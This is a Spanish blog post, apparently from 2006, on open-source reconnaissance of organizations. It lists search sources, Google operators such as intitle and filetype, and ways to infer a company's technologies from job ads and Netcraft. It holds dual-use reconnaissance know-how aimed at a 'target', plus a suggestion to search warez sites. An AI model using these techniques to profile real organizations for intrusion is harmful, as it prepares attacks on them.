<p style="text-align: justify;">Toda organización moderna tiene presencia en Internet, la gran cantidad de información que puede ser obtenida en Internet es increíble. ¿Que tipo de información es posible encontrar?:</p>
<ul style="text-align: justify;">
<li>Ubicaciones físicas y logias.</li>
<li>Compañías o entidades relacionadas.</li>
<li>Noticias.</li>
<li>Números telefónicos.</li>
<li>Contactos de la compañía.</li>
<li>Información mal intencionada o de desprestigio.</li>
<li>Directivas de seguridad.</li>
<li>Archivos de configuración.</li>
<li>Currículos de personal.</li>
<li>Arquitecturas de red.</li>
<li>Tecnologías utilizadas.</li>
<li>Etc…Todo es posible solo imagínate y buscaló.</li>
</ul>
<p style="text-align: justify;">Lo primero que  debemos recordar es que <em>Google</em> es nuestro amigo, y en muchas ocasiones todo lo sabe, sin embargo no es la única fuente donde buscar información. A continuación listo algunos de los sitios que pueden contener información valiosa para nuestro objetivo:</p>
<ul style="text-align: justify;">
<li>Google</li>
<li>Usenet</li>
<li>Groups.google</li>
<li>http://archives.neohapsis.com</li>
<li>NIC ( O su representante dependiendo la localidad       donde nos encontremos)
<ul>
<li>Europa y África <a href="http://www.ripe.net/">http://www.ripe.net</a></li>
<li>Norte y Sur América <a href="http://www.arin.net/">http://www.arin.net</a></li>
<li>Asia Pacifico <a href="http://www.apnic.net/">http://www.apnic.net</a></li>
<li><a href="http://www.ripe.net/">http://www.ripe.net</a></li>
</ul>
</li>
<li>Edgar Database</li>
<li>La pagina de la compañía.</li>
<li>Paginas que hablen mal de compañías:
<ul>
<li><a href="http://www.apestan.com/">www.apestan.com</a></li>
<li><a href="http://www.*censored*edcompany.com/">www.f u c k edcompany.com</a></li>
<li><a href="http://www.dotcomtod.de/">www.dotcomtod.de</a></li>
</ul>
</li>
<li>Buscar en base de datos de ofertas de trabajo en       línea:
<ul>
<li>OCC Mundial</li>
<li>Lucas5</li>
<li>Laborum</li>
</ul>
</li>
<li>Fuentes P2P como kazaa,Gnutella así como sitios       warez</li>
</ul>
<p style="text-align: justify;">Casi siempre nuestras búsquedas de información comienzan con Google, por su versatilidad y gran poder de búsqueda. Google cuenta con palabras claves que nos permiten realizar búsquedas mas especializadas de información a continuación mencionare algunas de ellas:</p>
<ul style="text-align: justify;">
<li>intitle ( Nos permite realizar búsquedas en los títulos de las paginas web)</li>
<li>inurl ( Nos permite realizar búsquedas en los URL de las paginas)</li>
<li>filetype ( Nos permite definir las búsquedas de ciertos tipos de archivos)</li>
<li>site ( Nos permite definir la búsqueda en sitios concretos)</li>
<li>cache ( Realizamos búsquedas en e cache de google y aun que las paginas ya no existan mas podremos encontrar información valiosa)</li>
<li>info ( Información relacionada con nuestra búsqueda)</li>
<li>autor ( Buscar información que ha publicado un autor en especifico)</li>
<li>group( Búsqueda en grupos de google)</li>
<li>insubject ( Búsqueda de mensajes en su Asunto)</li>
</ul>
<p style="text-align: justify;">La manera de usarlo  es: <em>‘operador avanzado<strong>:</strong>lo que buscamos’</em>. Un buen ejemplo  para mostrar es el siguiente:</p>
<p style="text-align: justify;">intitle:&#8221;index of&#8221; + ebooks  +&#8221;Google Hacking&#8221;</p>
<p style="text-align: justify;">La combinación anterior nos permitirá buscar el Libro Google Hacking donde podemos aprender mas de como utilizar google para nuestros propósitos. ( Recuerda siempre comprar los libros que utilices)</p>
<p style="text-align: justify;">Otro buscador donde podemos encontrar mucha información es : <a title="http://www.kartoo.com/" href="http://www.kartoo.com/">http://www.kartoo.com/</a></p>
<p style="text-align: justify;">kartoo es un innovador buscador que nos permite generar mapas de la información que buscamos. A que me refiero con mapas, ver de una manera gráfica donde se menciona la información de la busqueda realiza a continuación muestro una imagen de una búsqueda de la palabra darkslaker</p>
<p style="text-align: justify;"><img class="alignnone size-medium wp-image-61" title="20061123183835796_1" src="http://www.nimrod.com.mx/wp-content/uploads/2009/01/20061123183835796_1-300x176.jpg" alt="20061123183835796_1" /></p>
<p style="text-align: justify;">Como se puede notar la palabra se relaciona con listas de seguridad informática, asi como otros seudonimos como Rienzi.</p>
<p style="text-align: justify;">Con este tipo de búsquedas podemos encontrar la relaciones de organizaciones, con personas.</p>
<p style="text-align: justify;">Otro buen lugar para buscar información de organizaciones es la busqueda de Curriculums o vacantes en las organizaciones a continuación muestro un ejemplo de una vacante:</p>
<pre style="text-align: justify;"><em><em>Nivel de Estudios: Ingeniero en Sistemas Computacionales, enfocado a telecomunicaciones
</em></em><em><em>Experiencia: Mínima de 2 - 3 años comprobables en puesto similar
Amplio dominio de Sistemas Operativos
Alto nivel en Administración y configuración de redes
Alto nivel en Redes de Voz/Datos (TCP/IP, routing, firewall, QoS, DNS)
Alto nivel de conocimiento en Hardware orientado a Telecomunicaciones
Análisis, diseño e implementación de esquemas de alta seguridad
Amplio dominio de Sistemas Operativos Windows NT, 200X Server
Amplio dominio de Conmutadores y PBX
Alto grado de resposabilidad y compromiso
Trabajo bajo presión y metas Disponibilidad de horario Disponibilidad Inmediata
Alta capacidad de aprendizaje rápido
Inglés técnico mínimo: 80% <span class="style1">Conocimientos de Citrix y <strong>Cisco</strong> Indispensable</span>
EstabilidadAgradable ambiente laboral 

</em></em></pre>
<p style="text-align: justify;">La información que se muestra en color rojo, nos puede brindar un mapa de las tecnologías que utiliza la organización.</p>
<p style="text-align: justify;">Un par de lugares mas que nos puede ayudar a conocer las tecnologías de una organización es :</p>
<p style="text-align: justify;"><a href="http://www.archive.org/">http://www.archive.org </a>La cual nos brinca un histórico de como eran las paginas web, a medida del tiempo, con esto podemos crear un mapa de las tecnologías en sitios web.</p>
<p style="text-align: justify;"><a href="http://www.netcraft.com/">http://www.netcraft.com</a> Nos permite una mirada de un historico de las técnologias en servidores Web y provedores de servicios en una organización, la siguiente imagen nos muestra un historico de www.nimrod.com.mx</p>
<p style="text-align: justify;"><img class="alignnone size-medium wp-image-62" title="20061123183835796_2" src="http://www.nimrod.com.mx/wp-content/uploads/2009/01/20061123183835796_2-300x176.jpg" alt="20061123183835796_2" /></p>
<p style="text-align: justify;">La información que podemos encontrar me manera publica es inmensa y las posibilidades se extiende con tiempo y deseos de encontrarla.</p>
<p style="text-align: justify;">En la siguiente entrega del articulo se mostrara como identificar nombres de dominio de una organización así como los segmentos de red públicos de la misma y sus ISP.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nimrod.com.mx/2006/11/siguiendo-el-rastro-a-las-organizaciones/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
